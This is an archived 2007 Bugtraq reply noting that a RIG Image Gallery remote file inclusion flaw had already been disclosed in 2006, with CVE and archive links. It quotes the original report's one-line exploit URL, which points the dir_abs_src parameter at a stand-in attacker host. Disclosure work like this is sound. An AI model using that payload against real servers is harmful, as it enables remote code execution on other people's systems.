Re: RIG Image Gallery (dir_abs_src) Remote File Include Vulnerability

To: ilkerkandemir@xxxxxxxxx
Subject: Re: RIG Image Gallery (dir_abs_src) Remote File Include Vulnerability
From: security curmudgeon <jericho@xxxxxxxxxxxxx>
Date: Fri, 7 Dec 2007 02:11:05 +0000 (UTC)
Cc: bugtraq@xxxxxxxxxxxxxxxxx
In-reply-to: <20070730190956.2307.qmail@xxxxxxxxxxxxxxxxx>
List-help: <mailto:bugtraq-help@securityfocus.com>
List-id: <bugtraq.list-id.securityfocus.com>
List-post: <mailto:bugtraq@securityfocus.com>
List-subscribe: <mailto:bugtraq-subscribe@securityfocus.com>
List-unsubscribe: <mailto:bugtraq-unsubscribe@securityfocus.com>
Mailing-list: contact bugtraq-help@xxxxxxxxxxxxxxxxx; run by ezmlm
References: <20070730190956.2307.qmail@xxxxxxxxxxxxxxxxx>

: MEFISTO PreSents...

.. something already disclosed before!

: Script: RIG Image Gallery
: Script Download: http://sourceforge.net/project/showfiles.php?group_id=54367
: 
: Contact: ilker Kandemir <ilkerkandemir[at]mynet.com>
: 
: Exploit:  check_entry.php?dir_abs_src=http://attacker.php?

2006-06-20
http://cve.mitre.org/cgi-bin/cvename.cgi?name=2006-3210
http://archives.neohapsis.com/archives/bugtraq/2006-06/0430.html

References:
- RIG Image Gallery (dir_abs_src) Remote File Include Vulnerability
  - From: ilkerkandemir

Prev by Date: [ MDKSA-2007:239 ] - Updated heimdal packages fix potential vulnerability
Next by Date: Re: Friend Script 2.5 - 2.4 Remote File İnclude
Previous by thread: RIG Image Gallery (dir_abs_src) Remote File Include Vulnerability
Next by thread: phpWebFileManager v0.5 (PN_PathPrefix) Remote File Include Vulnerability
Index(es):
- Date
- Thread